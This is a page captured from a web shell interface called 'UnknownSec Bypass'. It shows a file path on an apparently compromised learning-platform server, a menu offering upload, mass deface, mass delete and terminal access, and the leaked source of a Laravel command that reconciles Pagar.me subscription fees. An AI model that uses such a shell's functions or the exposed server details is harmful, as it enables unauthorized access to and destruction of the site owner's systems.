UnknownSec Bypass
403
:
/
mnt
/
lmsestudio-instance-vol002
/
lms_fac93aa56cd7
/
app
/
Console
/
Commands
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
VerifyRecurrences.php
<?php namespace EstudioLMS\Console\Commands; use Carbon\Carbon; use EstudioLMS\Services\PagarMeService; use Illuminate\Console\Command; use Illuminate\Support\Facades\DB; use Illuminate\Support\Facades\Log; /** * */ class VerifyRecurrences extends Command { /** * The name and signature of the console command. * * @var string */ protected $signature = 'verify:recurrence'; /** * The console command description. * * @var string */ protected $description = 'Verifica as recorrências que estão processadas, porém, sem o preenchimento do campo de taxas (fee_amount)'; /** * @var PagarMeService */ private $pagarMeService; /** * Create a new command instance. * * @return void */ public function __construct( PagarMeService $pagarMeService ) { parent::__construct(); $this->pagarMeService = $pagarMeService; } /** * Execute the console command. * * @return void */ public function handle() { $recurrences = DB::table('recurrings') ->where('status', '=', 1) ->where('fee_amount', '=', 0) ->whereNotNull('payment_code') ->get(); foreach ($recurrences as $recurrence) { $payable = DB::table('payables') ->where('payment_code', '=', $recurrence->payment_code) ->where('subscription_hash', '=', $recurrence->subscription_hash) ->first(); if (count($payable) <= 0) { $payable = $this->getPayables($recurrence); //dd($payable); } if (count($payable) > 0) { try { $today = Carbon::now()->format('Y-m-d H:s:i'); DB::table('recurrings') ->where('id', '=', $recurrence->id) ->update([ 'fee_amount' => $payable->fee_amount, 'net_amount' => $payable->net_amount, 'updated_at' => $today ]); Log::useDailyFiles(storage_path() . '/logs/command.log'); Log::info('Recorrência ajustada para a assinatura: ' . $recurrence->subscription_hash); } catch (\Exception $e) { Log::useDailyFiles(storage_path() . '/logs/command.log'); Log::info('Recorrência com erro para a assinatura: ' . $recurrence->subscription_hash); Log::error($e->getCode() . ' - ' . $e->getMessage()); } } else { Log::useDailyFiles(storage_path() . '/logs/command.log'); Log::info('Não achou o payble da assinatura: ' . $recurrence->subscription_hash . ' payment ' . $recurrence->payment_code); } } Log::useDailyFiles(storage_path() . '/logs/command.log'); Log::alert('verify:recurrence - Executado - ' . date('Y-m-d H:i:s')); } /** * @param $recurrence * @return bool|null */ private function getPayables($recurrence) { //dd($recurrence); $payables = $this->pagarMeService->getPayablesForPaymentCode($recurrence->payment_code); //dd($payables); $payable = null; $paymentDate = null; $netAmount = 0; $payableStatus = ''; if ($payables) { $recipient = DB::table('pagarme_recipients')->first(); $sumFeeAmount = 0; for ($i = 0; $i <= 1; $i++) { $sumFeeAmount += $payables[$i]['fee']; if ($payables[$i]['recipient_id'] == $recipient->pagarme_recipient_id) { $netAmount = $payables[$i]['amount'] - $payables[$i]['fee']; $payableStatus = $payables[$i]['status']; $paymentDate = $payables[$i]['payment_date']; } else { $sumFeeAmount += $payables[$i]['amount']; $paymentDate = $payables[$i]['payment_date']; } } $today = Carbon::now()->format('Y-m-d H:s:i'); $payableData = [ 'subscription_hash' => $recurrence->subscription_hash, 'payment_code' => $recurrence->payment_code, 'payment_type' => $recurrence->payment_type, 'payment_date' => $paymentDate, 'card_id' => $recurrence->card_id, 'gross_amount' => $recurrence->gross_amount, 'discount_amount' => 0, 'fee_amount' => $sumFeeAmount / 100, 'extra_amount' => 0, 'net_amount' => $netAmount / 100, 'payable_status_id' => $payableStatus == 'paid' ? 2 : 1, 'created_at' => $today, 'updated_at' => $today, ]; // Insere o payable e obtém o ID do registro criado $payableId = DB::table('payables') ->insertGetId($payableData); // Busca o payable recém-criado para retornar como objeto $payable = DB::table('payables') ->where('id', $payableId) ->first(); } return $payable; } }
Copyright © 2026 - UnknownSec